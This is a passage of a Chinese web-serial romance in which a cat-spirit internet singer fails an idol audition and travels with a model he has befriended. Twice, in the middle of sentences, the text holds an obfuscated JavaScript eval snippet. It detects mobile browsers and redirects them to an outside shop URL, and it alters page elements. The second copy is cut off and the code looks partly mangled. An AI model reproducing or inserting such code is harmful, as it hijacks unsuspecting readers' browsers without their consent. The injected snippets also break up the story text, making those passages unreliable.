《再次见面吧！[娱乐圈]》 1. 梦 舞台大屏幕播放着入围演员的参赛剧情片段，摄影师却举着镜头往音乐艺人区这边走来。 镜头对准目标，那位男生立刻低下头用长发挡住脸庞。 “……他就是年度人气演员，陆子溪。” 在名单公布后的第一秒，导播略过获奖者想往这边切，但看见白色身影半边身子探向镜头外送物品，只能在对讲机里提示摄影师拍摄其他人。 助理在满手奖杯里面挑出“年度歌手”的奖杯递回去：“舟哥，这个是待会拍结尾大合照要用的。” 沈余舟接过奖杯，动作奇妙的与背后的大屏里那位演员重合，多年默契让两条线再次相交。 明明很久没见。 这一晚上兵荒马乱，沈余舟偏头痛又发作，揉着针扎般疼的太阳穴向助理询问：“嘶，你有带我的糖盒吗？” 这位新来的助理摇摇头，连说几声不好意思。旁边的女生伸过来手：“我有带糖。” 手掌中放着一颗柠檬糖。 沈余舟看到这颗外包装很熟悉的糖沉默一刻，最后还是说：“谢谢，不过我不喜欢柠檬味的糖。” 那位女生收回手，把糖放回西装外套口袋里。 身体各处疼痛发来警报，沈余舟难受到闭眼休息，幸好主办方已经过来带人上台拍合照。 礼仪领着剩余人员，不知是谁先站错位全部乱作一团。沈余舟随着身体本能跟人潮走，曾经合作过的前辈看见招呼他过去。 所有人站定，在快门键按下前主办方交换中间几个明星的位置。陆子溪被挤到沈余舟身边，两人同时看向地板往另一边远离。 即便曾经在这个舞台上一起牵手举起属于他们的奖杯，即便曾经在这个舞台上肆无忌惮表达对对方的情感，即便曾经在舞台灯光照不到的阴暗处无数次缠绵不休，凑近听对方亲口许诺永恒。 如今多年过去却主动选择走向远离对方的地方。 相机快门按下，闪光灯闪烁，白光瞬间笼罩视线。 “我从不后悔。” 车辆在隧道里穿出，由白昼变换成黑夜，一片漆黑。 助理关掉莫名外放的CP视频：“今天上了三个热搜，两个个人奖项热搜，还有一个双人文娱热搜第一。” 沈余舟在看到摄像头时就猜到，这次主办方为了热度连这种过世几百年的CP都炒，热搜八成是他们助力上。 所以沈余舟只是淡淡回道一声：“嗯。” 车窗外是逐渐熟悉的风景，再往前开就到达冬甜公司的旧址，助理在一边说到：“今天封路，司机就换了一条路。” 这一天像是和沈余舟作对，逼着他一遍遍想起旧事，他用力拉上车帘不再睁开眼，靠在车椅背沉沉睡去掉入无边梦境。 时钟指针不断逆时针旋转。 一双手从黑暗里探出，手中打火机微弱的火光放在中间只够照亮眼睛，两人对上视线，随着火焰跳跃地还有泪光。 嘀嗒。 沈余舟看着对方将记忆燃烧尽，只留下最初。 ———— 火红色重型机车在路上飞驰而过，不少视线跟随着驾驶者，直到他车辆行驶到一座办公楼下。 深色牛仔裤包裹着充满力量感的长腿，只需轻踹一脚，便将摩托车停稳。摩托车驾驶员摘头盔时小心翼翼避开耳朵上一串的饰品，白色-狼尾发型被压塌，发丝胡乱搭在脸上。 男生将遮挡眼睛的发丝撩开，露出绿色眼眸，和左眼眼底下的黑色小痣。如此攻击性穿搭的主人却长着张娃娃脸，割裂得像三好学生强装叛逆。 在幸江路的冬甜公司打卡的粉丝偷偷-拍照上网搜是谁，男生看见没理下车径直往公司里面走去，进入电梯按下3楼。 去年重新装修过三楼，将三楼改为唱跳艺人部，大半空间改成练习室。 “一！二！三四！对啦，这遍很好。” 沈余舟拿着无糖柠檬茶，把训练室的门拉开一条缝，探头往训练室里张望，想让人注意不到都难。 舞蹈老师抬起手比了个暂停的手势，冬承欢就地坐下休息。训练室的空调吹出的风呜呜作响，冬承欢后背衣服被汗水浸-透粘在身上。 “冬姐，不是刚回归完吗？怎么又练，不是说忙完这阵子就休息一两个月只接代言和一部分商演吗？” 沈余舟殷勤地跑来跑去递上毛巾和柠檬茶，新款篮球鞋跑在练习室里发出刺耳的叽叽声。 冬承欢觉得今天不对劲。 平常的沈余舟怎么可能大老远开车过来就为了看一眼，还嘘寒问暖，事出反常必有妖。 冬承欢只接过毛巾：“想要什么直说，下次发信息就行了。柠檬茶我也先听完再喝。” 沈余舟坐到冬承欢身边，可怜巴巴看着她：“姐，我知道最近《爱豆训练营》要开始选人了，我们公司有三个名额，两女一男，这次我也在候选名单里，我想……” “你先别想，这次选人是你亲姐姐沈余恬小姐负责，她说了你这次先不去。”冬承欢听到这个节目就头疼。 节目组看中公司签下的主播热度主动给名额邀请上节目，可是整个公司能上唱跳选秀节目的寥寥无几。 而沈余舟作为网络歌手，人气稳定，近期歌曲在短视频平台爆火，在内部会议上男生根据人气首推就是他。但因为没有舞蹈基础和一些内部原因，面试名单都没进。 这次节目要冬承欢再选一个女生和一个男生一起去。 冬承欢想到这些事就烦心，再加上泡汤的假期，低下头看见变回猫咪原型在地上撒泼打滚的沈余舟就来气。 这个生活真是糟糕透了。 冬承欢抓起地上的银渐层猫咪，咻一下扔出去：“别吵，有本事就上楼找你姐，看你敢不敢跟她来撒泼打滚那一套。这是个唱跳节目，你会跳舞吗？就嚷嚷着要上。” 她叹口气，最终还是于心不忍：“算了。 “我朋友陆子溪他也是要去节目的，练习室在过两间屋。按你那性子跳一天不哭不闹不折腾，我就把你名字放进公司内部面试名单里还给你安排专属老师。只不过剩下的面试要看你自己的造化。” 有机会试一下，万一就成功了呢。 沈余舟变回人形，立刻点头答应：“我现在就过去练习。” 猫那速度冬承欢抓都抓不住：“今天你先去征求陆子溪的意见，他不答应带你的话我也没有办法。” 沈余舟推开冬承欢抓住棒球服外套的手：“ok，明天我准时练习，你就等着吧。” 冬承欢站在走廊看着气势汹汹走向练习室的沈余舟，打开了手环计时器。 ———— 沈余舟从练习室门口玻璃中见有人影坐在地上，怕打扰到人蹑手蹑脚推开门打招呼，却被撞入眼里的脸庞打断思考，忘记原先要说些什么。 面前的人墨黑长发用大肠发圈盘起，一双桃花眼落在脸上，眼波流转，粘连在脸颊的细碎发丝如同是水墨画师在美人图上点缀的几笔。 直到那人用手在眼前挥，沈余舟才回过神：“我叫沈余舟，是网络歌手，想要参加公司《爱豆训练营》的面试，所以过来问问能不能和你一起训练一天，感受训练强度。” 陆子溪问：“沈余舟？是冬承欢让你过来的吗？之前有过唱跳经验吗？” 在公司里知道沈余舟和老板关系好的人不在少数，所以有人会问出这个问题并不让他觉得稀奇。 反倒是温柔的声音进入耳朵吸引掉对其它问题的注意力，沈余舟不自觉放柔说话：“嗯。我是唱歌博主，之前没有唱跳过，是会跟不上吗？” 见对面露出纠结的神色，沈余舟不想放过这个机会，犹豫就代表有转机，往前逼近一步微微抬头，却被对方背后的灯光刺出泪水。 陆子溪在他缓过来继续请求前先心软松口：“没事，明天早上九点过来吧。要加联系方式吗？这样我能发练习时间表给你。” 在这个时代手机已经进化成了手环，按一个按钮就能出现智能屏，手环打开软件互相碰一下就能交换联系方式。 沈余舟生怕那人反悔，忙不迭主动碰向陆子溪的手环，发出清脆的一声“哒”。 “好啦，那我们明天见。” 说完话沈余舟侧身离开，耳朵暴露在陆子溪眼前，蜿蜒的藤蔓刺穿耳垂有血滴流出。 陆子溪想上手擦拭，快要贴近的瞬间反应过来是耳饰，开口补上句 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“这次新款怎么这么多人喜欢？”沈余舟决定待会去一趟Blue.U工作室挑些礼物，“行，成了直接我和穆辰亲自给你设计一套。” 沈余舟重新启动机车，车辆进行改造后并没有发出烦人的轰轰声。 无声无息驾驶过夕阳照射下的沿江大桥，划过一道红色身影。 ———— Blue.U工作室进门就是各种打磨后的宝石和灵石的样品挂画，灯光照耀下折射出各种色彩。 沈余舟径直走进最大的办公室，一开门，突然掉下的黑色宝石吓得他炸毛，发出嗷呜一声：“穆辰！说了多少次工作室门面很重要，能不能收拾一下？” “忙死了，私人订制都不接了，哪有时间啊大少爷。”穆辰头发乱糟糟，脸上不知道何时蹭上几道铅笔灰，粗黑框眼镜都遮不住黑眼圈和眼袋。 桌面上冰美式喝完两杯却还留着杯子没扔，地上垃圾桶装满废稿。 沈余舟看着憔悴到不成人样的穆辰，忍不住庆幸当初没有选择自己当Blue.U的话事人，还是当大股东好，给钱就行了。 想是这样想，行动上沈余舟还是边帮忙收拾桌面上的垃圾边听穆辰吐苦水。 穆辰调出工作群密密麻麻的工作安排表诉苦，无论是私人订制还是店面铺货首饰通通卖爆，工作室人手不够用快一人掰开成十几个顶上。沈余舟想着这个月的分成又要高上几个点，忍不住笑出了声。 穆辰剜了他一眼：“这次来是好事还是坏事？” “我来是想拿两套这次的荆棘系列新品，”沈余舟静悄悄将手挪到头顶，“然后我最近要训练唱跳，有事我可能回不过来，如果面试通过了我要去选秀好几个月，大概率会失联。” “可能”，“大概率”，这种词从沈余舟嘴里说出来直接被穆辰替换成“一定”。 气到穆辰抽出怀里抱枕就往沈余舟头上招呼：“最忙的时候你就跑路，你个抛妻弃子的渣男！刚开始的时候怎么说的？一辈子患难与共，我们一起把店办起来，果然爱到最后都一样！” 沈余舟凭借丰富的挨揍经验一边护住头和脸，一边给穆辰转去足以让他喜笑颜开的价格。 穆辰听见转账提示音立马把抱枕扔开，砸在椅子上“Duang”一声，伸出手温柔地抚摸上沈余舟的脸庞帮他整理头发：“我们俩人作为多年的好兄弟，我作为大哥替弟弟看管工作室是应该的。 “如果面试上了，我一定会发出诚挚的祝福。无聊的时候也别闲着，记着画点设计图啊宝贝。” 沈余舟被穆辰这声宝贝吓得鸡皮疙瘩都起来：“好的好的，放心，一定会的一定会的。” 办公室地上摆放着工作室来的新样品，沈余舟没事干，巡逻领地般绕着工作室这看看，那摸摸。 等他终于心满意足拿着大包小包走出工作室回家，穆辰已经因为自己私藏的好石头被薅走一部分，在办公室里自导自演演到宫斗戏里簇拥新帝那一集。 而另一边的沈余舟则在细数着哪些适合给今天新认识的朋友，下意识挑出许多粉红色的小首饰。 2. 熟悉 深夜十二点半沈余舟直播完仰躺在床上，两只小猫咪霸占床铺一半地方四仰八叉睡到打呼噜。 沈余舟用力将两辆大卡车猫停放到一边：“床都敢占，知不知道谁是家里的猫老大？” 一躺在床上眼皮就控制不住在打架，但睡觉前总要刷会短视频放松，沈余舟也不例外。 只不过今天刷视频完全集中不了精神，连着十几条视频，一两秒就切换，思绪完全不在这上面。 沈余舟脑子里不由自主想起下午见到的人，明明是冬承欢的朋友可很少听她提起，除了名字外一无所知，非要说似乎有印象在某个杂志内页和奢饰品选款册上见过一眼。 未知感牵引着他产生探索欲，驱使沈余舟动手输入搜索框：“陆、子、溪。模特，还拍过广告，今年才十九岁，看着气质不像啊。” “这套好帅，这套也好看，”沈余舟将搜到的照片挑了些喜欢的保存下来，“果然美貌才是治愈心灵获取灵感的第一神器。” 大数据推送不少过往的采访和拍摄花絮，沈余舟刷到每条相关视频都吸引着他认真收看，试图能在这些细碎片段中拼凑出这个人的简单轮廓。 直到凌晨两点屏幕自动暗下关闭，沈余舟抱着小狗玩偶进入梦乡。 ———— 第二天早上在十几个闹钟的轰炸后沈余舟才从被窝里爬出来，一看时间已经八点了。 今天来不及好好打扮，急忙套上运动服，将发尾随意拢在一起扎成小揪揪就开车往公司去。 “不好意思，我来晚了。”沈余舟看向时钟发现距离九点还有十几分钟，自己没有迟到。 也不怪他有这样的错觉，这个点陆子溪竟然已经在训练室里进行热身运动。 陆子溪看见没有多说什么，只让沈余舟跟上他的动作。 一天下来，简单的舞蹈训练动作，沈余舟要学三四次才会一个。 就算是这样慢悠悠的训练进度，两腿都累到直打颤，平常在健身房练习出来的肌肉在这没有一点用处。 下午见老师下班，沈余舟也想着偷偷溜走。门口发出吱呀声，沈余舟拉开练习室门留出一条缝隙，方便他侧身慢慢挤出去。 斜挎包挂件碰撞的细碎声音吸引人的注意力，陆子溪回头叫住他：“昨晚听冬承欢说你想要练一天全程的课程，现在就走吗？要不要我帮忙和她说一下？” 见沈余舟靠在门框支支吾吾半天，好心的陆子溪上手打开门，作势要往冬承欢在的练习室走。 沈余舟拉住陆子溪：“不不不，我只是脚疼想去外面沙发躺会。” 脚下一软，沈余舟整个人顺着发力方向向前跪，手指陷在陆子溪手臂里。指尖发白，想靠自己站直但肌肉酸痛使不上劲。 陆子溪赶紧用手臂架住人，后背推开门把人往懒人沙发上拉。 “是哪里不舒服？” 陆子溪蹲在沈余舟身边观察，不敢贸然动他。 沈余舟躺着感觉腿的灵魂已经出走：“脚使不上劲，应该是运动过度了，休息下就好。” “嗯，”陆子溪把沈余舟两条腿放自己膝盖上轻柔按摩，“现在呢？” 沈余舟不习惯被别人碰大腿，控制不住腿往回缩，被陆子溪误以为是不吃劲按住加重力度往下摁。 “痛痛痛！” 沈余舟吱哇乱叫，疼到眼泪水出来，以前健身练腿还没这么狼狈过。 这样按摩下来腿确实能动，也没之前那么疼，可过程实在是太艰辛了。陆子溪那手往腿上使劲按，腿红一大块看上去像皮肤过敏。 沈余舟回道：“今天谢谢你。” 陆子溪抽出纸巾递过去指下眼尾：“给你，下次练习可以根据这次适当保持体力，刚开始不适应很正常。” “好。” 沈余舟用纸巾擦掉眼泪水，想起昨天答应的首饰还没送出去，伸手拽过沙发旁边的纸袋在里面翻找一通，拿出一枚粉钻耳骨夹。 满满当当的纸袋放到陆子溪手上，沈余舟说到：“这些都是给你的答谢礼。” 那枚耳骨夹被沈余舟亲手挂到陆子溪耳朵上，简单的水滴造型耳骨夹被衬得像高级珠宝。 沈余舟拨动吊坠，钻石晃悠着在光线折射下发光，随着他的动作手里的耳朵包括脸和脖子泛红。 陆子溪不自在把脸转向一旁却被一只手控制住与沈余舟对视，那人捧着他的脸端详：“这个首饰果然很适合你，粉粉嫩嫩的，像桃花成精，真好看。” 沈余舟松开手后，陆子溪反应过来捂住自己的脸小声说到：“谢谢。” 沈余舟想到，这人可真好玩，一逗就脸红。就算结束训练回到家，还在想着陆子溪脸的手感，热热的，软软的，心里搭建的人物拼图变得鲜活起来。 这样子的训练就算再来一个星期，现在的沈余舟也会点头答应。 ———— 手环震动，是贱兮兮的熊猫头像给沈余舟发来信息：近12个小时的训练都能坚持下来，明天你还起得来吗？ 沈余舟直接给熊猫头像打去电话：“冬承欢，我好得很！给我好好安排老师，区区唱跳我两天时间肯定能学下来。” 冬承欢搁着屏幕都被吼到耳朵疼，咬牙切齿回道：“小点声，想被揪耳朵了是不是？我明天一定好好给你安排，保证让你躺着回家。” 沈余舟被威胁后声量降低不少，嘴上还是不饶人：“我才不怕，你快准备，到时候保管亮瞎你的眼。” 两人每次说话非要拌上几句嘴才肯罢休，街上大爷拿着遛弯的鹦鹉都没有他们两个能叽叽喳喳。 而沈余舟打嘴仗赢冬承欢一回的代价就是这两天沈余舟在舞蹈老师的魔鬼训练下，每天迈着螃蟹的步伐走出训练室。 自己训练累就跑去隔壁练习室躺在懒人沙发上看陆子溪训练，一来二去就熟了。 聊天软件对话框里从空白一片，变成两个人早中晚训练时会聊上两句的地方。 “我不掉毛”拍一拍“溪”。 “我不掉毛”也就是沈余舟给陆子溪发去信息：明天我就要面试了，你要想要过来看一下我跳成什么样吗？ 后面附上小猫探头表情包。 陆子溪看到信息后敲开沈余舟练习室的门，老师正好带着沈余舟练习到歌曲一半，放音乐让沈余舟自己再从头来一遍。 歌曲是现在最流行的唱跳舞曲，鼓点强劲，强调节奏感。 仅从这一分钟舞蹈里就能看出沈余舟虽然基本功不好，习惯吞动作，但是无论是节奏卡点还是律动都能做到位。 音色和唱功好，可加上跳后气息不算稳，整体在高音上还有一些小瑕疵，应该是本身体能跟不上。 两天时间能学到这样，这种天赋放在现在很多新出道的爱豆里都堪称稀有。 陆子溪很怀疑他们家是不是在调味罐里面放的爱豆唱跳天赋。怪不得那么多人讨厌天才，自己努力够到的地方是人家的起点，换谁都嫉妒。 一曲毕，沈余舟转过来面向陆子溪。今天沈余舟带了发带遮住头发掉下来的汗珠，青春活力的打扮异常合适这首曲子。 沈余舟叉腰望向陆子溪，笑起来阳光明媚：“怎么样？是不是还不错？” “嗯，非常不错，”陆子溪看着沈余舟的眼睛认真道，“你一定能一起去训练营的。” 沈余舟伸出拳头和陆子溪碰拳：“一言为定。” 嘴上自信，实则沈余舟晚上回到家紧张到睡不着，给陆子溪发去消息：收到通知明天早上就要面试了TT 溪：我工作完陪着你去，不要哭哭。 我不掉毛：那有溪溪在，一定嘻嘻。 溪：溪溪陪着猫猫嘻嘻。 我不掉毛：猫猫和溪溪一起嘻嘻XX。 紧张情绪被可爱的话语与新约定覆盖掉，沈余舟将聊天记录截图下来保留证据：“你可要说到做到噢。” ———— 早上到公司，沈余舟寻找一番没见到陆子溪便偷偷在小本本上记一笔：今天的小陆同学是食言精。 面试区坐着五六个人，沈余舟被排在倒数第二。沈余恬作为评委抬头看见沈余舟在这，对上手里的资料，就知道是冬承欢又纵着这只猫。 前面选手上台要么跑调忘动作，要么没看镜头。沈余舟觉得自己这次算是稳了。 可当自己站上台才知道，真的找不到是哪台摄像机在拍，即便有红点提示，找到第一个镜头时已经熄灭换成另一个摄像机。 一慌就容易出错忘动作，沈余舟当即决定不找镜头，确保表演的完整性。 重看录像，沈余舟只敢说单看现场表演是可以的，但从视频里看去没有与画面后的观众有互动感，基本上没看镜头。 最后一位选手上台，简单舞动热身两下就知道不简单。唱段不多，舞蹈简单，但能抓住大部分的镜头，从观感上就比前面所有选手好。 沈余舟在那一刻才知道，有舞台经验的选手和普通人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382505|200202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有壁的。 ———— 陆子溪早上有工作，临近中午才到公司。冬承欢的助理笑笑将陆子溪带到等候间，这里能从透明玻璃看到面试间里面的面试情况。 几个男生在评委面前站成一排，沈余舟站在最外边，陆子溪的位置正好看不见他。 看上去面试准备结束在宣布结果，没想到陆子溪紧赶慢赶还是没有赶上。 过了好一会，评委们簇拥着一个红头发的男生走出，称赞着那位红发男生的表现。 沈余舟落在队伍最后面，沈余恬揽着沈余舟肩膀说到：“这次表现真的很好，这次不行，说不准下次就可以了。刚学几天就拿到综合内评第二很棒啦。” 沈余舟摇摇头回应。 沈余恬离开后，沈余舟才看见等候间里一直坐着的陆子溪，露出笑容小跑过去：“你真的来了。” 从出门那一小段陆子溪就猜到结果，索性不提面试的事：“嗯。累这么多天了，想去沿江餐厅吃饭吗？之前看你朋友圈发过想去那家餐厅。” “你居然记得。”沈余舟经常发朋友圈，一天好几条，没想到陆子溪还会留意到这一条朋友圈。 只不过想起今天的成绩就没有兴致去吃饭，虽然是意料中的结果。 沈余舟趴在桌上，小脸皱巴巴。 陆子溪学着沈余舟的样子趴在桌上看向他：“不要不开心了，这个星期我把所有工作结束，打算去旅行一段时间再回来开学和训练，你想一起去散散心吗？” “嗯？去哪里？” 沈余舟听见出门玩眼睛立刻亮了，自从当了主播除过节假期很少有时间休息，加上朋友们要上班很少再提起一起去旅游的事。 也曾试着一个人出门旅游，不到两天就因为过于无聊自己拖着行李回家开直播。 有人愿意陪他到处玩，他当然乐意。 陆子溪眯着眼睛笑起来：“那我们边吃边聊？” “走走走，比一早上了，早饿了。”沈余舟站起来，拉着陆子溪就要走。 陆子溪被拽一踉跄，小跑几步跟上沈余舟的步伐。 ———— 沿江餐厅开在公司附近，走路十几分钟就到。工作日中午，餐厅没什么人。 沈余舟絮絮叨叨：“妖界好像有盛典应该挺热闹的。 “仙界最近在选花神有各种稀有花材可以看，魔界新开的游乐园还是和地府联名的。 “人间景色各异，第六区生活这么久还有很多地方没去过。你有特别想去的吗？” 陆子溪看了眼近期长途传送阵名额，最近不是旅游旺季，想去哪里都方便：“听完都想去，我们可以挑三四个地方去。” 沈余舟根据AI推荐的地点进行筛选：“那我们可以仙妖魔都去一遍吗？” 陆子溪点头：“可以。” “好诶！”沈余舟欢呼正好碰上服务员上餐，服务员往旁边挪一小步放菜。 沈余舟意识到声音有点大，不好意思尴尬得眼神到处瞟，对上陆子溪看过来地眼神，两个人一对视就想笑。 服务员离开，两个人忍不住终是笑出声。 这家餐厅以摆盘好看出名，沈余舟把菜品角度调整好准备拍上几张照片。 陆子溪从口袋里拿出迷你补光灯给菜品打光，不忘加上一句：“拍完可以发我一份吗？” 沈余舟震惊，给道具齐全的陆师傅举上大拇指：“好的。” ———— 晚上沈余舟在整理今天和陆子溪商议出来的旅游清单时，冬承欢又突然打来电话：“刚看到你发的朋友圈了，早知道我就不用工作还想一天怎么安慰你。” 沈余舟想起来今天填报的请假条还没批：“姐姐辛苦了。对了，过段时间我和陆子溪去旅游，就先上报请假条，你有时间批一下，到时候看情况开几场户外直播。玩累了我可能就不开了，之前攒的假期这次先全请了。” “好的讨债鬼。不过你俩个认识时间满打满算都没有一个星期，突然熟了？你这次不怕他把你卖了？” 冬承欢不理解，这事越看越不明白了。 沈余舟想到中午的迷你补光灯噗嗤笑出声：“我们两个确实挺莫名其妙的，可能这就是缘分吧。” “神经，”冬承欢怼回去，“我这边直接批了，到时候提前一天挂直播间。” “收到。”沈余舟设定好直播假条时间，识趣发送感谢的小猫表情包感谢大晚上还在工作的冬承欢。 3. 饲养 这几天沈余舟和陆子溪有商有量一起将旅游攻略写好，就等待正式出发。沈余舟兴奋到提前三天就把行李收拾好，找好猫咪陪玩员上门照顾家里几只小猫。 这段时间陆子溪行程多到成为空中飞人，各种时尚盛典、时装周走不停，还有一些一早约好的平面拍摄也堆在一起在一个星期内完成。 正式出发那天陆子溪从家里出发，开着无人车接沈余舟。 而另一边的沈余舟早早就坐在马路边长椅等着，头戴耳机，闭着眼睛趴在行李箱上补眠。 春日树叶换新，叶子掉落在沈余舟头上随风一动一动，小猫睡得沉丝毫没有发现陆子溪已经开车到面前。 陆子溪摇下车窗叫醒沈余舟：“这里。” 春季微凉，陆子溪穿着简单的白衬衫袖子微微挽起，头发用黑皮筋扎成简单的低侧马尾。 沈余舟眯着眼睛看向眼前通体银色跑车外形设计的无人车，意外符合之前他猜测的陆子溪会喜欢的出行工具类型。 简单普通，足够低调，与陆子溪今天的穿搭是一个风格。 时间紧迫，沈余舟快速将全部行李放在后车厢方便拿取，自己坐在副驾驶：“出发！” 窗外景色飞速变换，高楼大厦和悬浮建筑出现在两侧，汽车往大型传送阵方向行驶。 现在传送阵等候区设置酷似人界的飞机航站楼，空间很大，远远就能看到。汽车存放在停车场长期存放区域，离航站楼有一段距离。 路上耽搁了些时间，也是难得让两个人体验上卡点到达要在航站楼里拖着行李箱险狂奔的滋味。窗外晴空万里，地上阵法一闪一闪送走又一批乘客。 航站楼广播：“请RYU06号传送阵还未值阵的乘客尽快到达8号口值阵，阵法即将启动。” “来了来了。”沈余舟将两人证件递上，正好准点到达。 ———— 进入阵法一眨眼的功夫就到妖界的青鸟市，传闻中青鸟的居住地，后人便以青鸟为名，是如今妖界的著名旅游城市，吃喝玩乐一条龙。 每年这个时候青鸟市都会举行嗷呜盛典，“嗷呜”在妖族语言里意指春天来临，万物生，各种动物交流爱意的意思，一般大家会将这个盛典称为相亲大典。 青鸟市树多林多绿植多，继而保留妖族特色建筑，房子均用防水防火的木头与藤蔓制作而成，如同置身童话世界。 连交通工具都极具特色，鸟巢型移动法器、莲花移动法器、仿真翅膀法器…… 沈余舟在航站楼交通法器租赁处自助机一直下滑，全都是这些花里胡哨的，只好找路过的工作人员询问：“您好，这里有普通的无人车吗？” 工作人员在租赁后台操作一番：“现在青鸟市是旅游旺季无人车已经全部租出去了，离这最近的无人车租赁处在市中心，你们两位如果有手动汽车驾照可以选择给人类提供的普通汽车，这款车型还有两辆。” 陆子溪不用手动汽车，所以没考：“你有吗？” “当然有。”沈余舟调出电子驾照登记。 这年头很少人会考手动驾照，市面上大半车辆更新迭代成无人车，平常基本用不上手动车。 陆子溪好奇：“你怎么什么都会？” 沈余舟伸手拨弄掉下的刘海，手腕上带着的各种手链碰撞作响：“作为第六区众多富二代里有名的纨绔子弟，这点小技能不值一提。” “好的大少爷。” 陆子溪接过沈余舟的行李箱，尽职尽责当一个小跟班。 ———— “这是刹车，这是油门，手刹，手刹怎么找不到了……”沈余舟进到汽车嘴里一直碎碎念，疑似在现背驾驶手则学车。 陆子溪默默调高汽车保护罩系数，将安全带拉紧，心里默念出事不要伤到脸就行。 大致回忆起来后的沈余舟猛打方向盘一脚油门汽车冲出去，看后视镜时分一眼给旁边身体僵硬的陆子溪：“不要紧张，我车技我姐教的，我还开过我姐的跑车跑赛车道，放心吧。” “好的。”陆子溪嘴上是这么说，手一点没有松开安全带。 说起赛车倒是让陆子溪想起件往事：“你姐姐开赛车我见过一次，在时装周的余兴派对上，当晚的比赛里超过很多业余有名气的选手。那时候我还很好奇她是谁。” “帅吧？她可是沈余恬，什么都厉害。”沈余舟从小就崇拜沈余恬，听到有人夸赞他姐姐都忍不住笑意。 这一激动不要紧，沈余舟只顾看前方没看见车辆提示，车子正好碾过石头，许久没开的老旧车不自主颠簸一下。 在汽车第三次晃动时陆子溪终究忍不住将导航调成前往汽车租赁处：“我们去市中心换无人车开好吗？” 沈余舟想说不用但是这老旧车确实过于颠簸，在妖族凹凸不平的地势走两步晃一下，最终还是听从陆子溪的话前往新租赁处加价换成新款减震无人车。 ———— 市中心是最多吃喝玩乐的地方，将无人车在路边临时停车点停下，下车就是小吃街，各种小摊吃的玩的什么都有。 从停车的地方走不到二十米，沈余舟手上就提了一杯特色树栗果榨汁，一份煎饼，一盒小蛋糕，嘴里还咬着一条大号的烤脆藤蔓。 陆子溪要控制体重增肌，只能看不能多吃。 沈余舟拿着烤脆藤蔓在陆子溪眼前晃：“刚刚摊主说了脆藤蔓是蔬菜，不胖的，你看一口咬下去脆脆的，来都来了，真的不想试试特色小吃吗？” 脆藤蔓上面裹着的辣椒面香气让陆子溪意志力涣散，纠结再三下，决定还是回头买一根尝尝。 脆藤蔓是妖族特色植物，长得像章鱼触手，最大能有手臂粗。 摊主清洗后串在竹签上随意烤两下，脆藤蔓在火焰炙烤后会散发出植物特有的泥土香气，再简单撒点辣椒面，一条烤脆藤蔓就做好了。 一口下去外面是脆的带一点辣椒味，里面是软糯芋泥般的口感，味道更像烤新鲜草莓带些许酸甜，以前妖族还会拿脆藤蔓当储备粮，因为这种植物水分充足可以解渴。 陆子溪突然觉得出来旅游吃多点也不怕，回去练几天就瘦回去了，吃完一根小号脆藤蔓，又买一根大号吃。 不一会的功夫，陆子溪转过头就发现沈余舟不见了。 顺着人潮往前找，走几步听见有欢呼声，陆子溪凑过去一看沈余舟就站在人群中间。 沈余舟嘴里还叼着吃完后的竹签，左手里提着吃的，单手拿着玩具枪对准墙上的气球。 砰砰砰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一刻，陆子溪有种实感，他好像真的拐了一只别人家的小猫在养着，这只小猫还会给他叼来各种新奇玩意，小花小草看到好的都会带回来一点生怕他无聊。 无人车缓慢停入车位，车内灯光关闭，陷入黑暗。 陆子溪轻声唤沈余舟：“起来了。” 叫了几次沈余舟都没有醒来的迹象，陆子溪败下阵来：“昨晚干什么去了，这么困？” 人刚从车里下去，沈余舟如同感应般在外套里钻出来。 沈余舟拿过外套仔细瞧，发现这是陆子溪今天穿着的，怪不得刚刚一直觉得有种若有若无的白玉兰花香围绕着。 “人呢？”沈余舟往前座看去发现没有人。 陆子溪敲了敲车窗：“这里。” 沈余舟按下车窗探出头，枕在手臂上眼睛只睁开一条小缝：“我还以为你把我卖了。” “那可舍不得。” “嗯？什么？”沈余舟脑子没清醒过来，根本没有听清刚刚说的什么。 陆子溪给沈余舟弹了个脑瓜崩：“东西拿好，上去接着睡。” “疼。”沈余舟捂住脑袋一瞬间清醒过来，拿上东西，手上搭着两人的外套下车跟在陆子溪身后。 地下停车场很大，沈余舟记不得路，只知道跟着陆子溪就对了。 大型停车场回荡着行李箱滚动的声音，还有两个人的脚步声。 4. 兜风 酒店是提前预约好的套房，在酒店顶层，在阳台上眺望出去能看到旧祭坛里超大的青鸟石像雕塑顶部。 “昨晚上说要请长假，粉丝们不让下播，直播到凌晨四点，现在头和嗓子都疼了。”沈余舟一到酒店就躺沙发上，说不到两句话又要睡过去。 妖界天气变幻莫测，刚刚还烈日当空，现在外面却下起小雨。 阳台门自动关上，隔绝外面的雨声，窗帘也跟着拉上，房间里瞬间只剩下昏黄的灯光。 陆子溪担心沈余舟是生病才嗜睡，伸手摸上沈余舟额头，妖族的体温相较其它族一向偏高，其实这样摸也不准。 沈余舟感受到冷意一激灵，偏头躲开，发出一声细小的闷哼。伸手抓住陆子溪的手腕，睁开的眼睛里倒影着灯光和陆子溪的身影。 “没发烧，脸上温度是正常的，只是有点困。” 陆子溪猛得收回手，手上残留的温度还未散去。 “那就好。” ———— 外面雨越下越大，淅淅沥沥，两人只能在酒店里待着，之前做的计划泡汤。 沈余舟在自己房间一觉睡到晚上，睡觉时间太长脑子还未完全清醒，身体感受到口喝循着本能在吧台倒水喝。 结果迎面和刚从浴室里洗完澡出来的陆子溪撞上，陆子溪瞪大眼：“你怎么没穿衣服？” 面前的沈余舟白色狼尾头发随意散下，手腕上带着黑皮筋，肌肤在灯光照耀下像细腻柔软的奶油质感。视线下移，有六块腹肌，再往下看能看到人鱼线。 陆子溪心里默默加一句腰好细。 “睡觉就脱了外衣，而且我有穿裤子。”沈余舟特地拽起短裤给陆子溪看，露出一截白净的大腿。 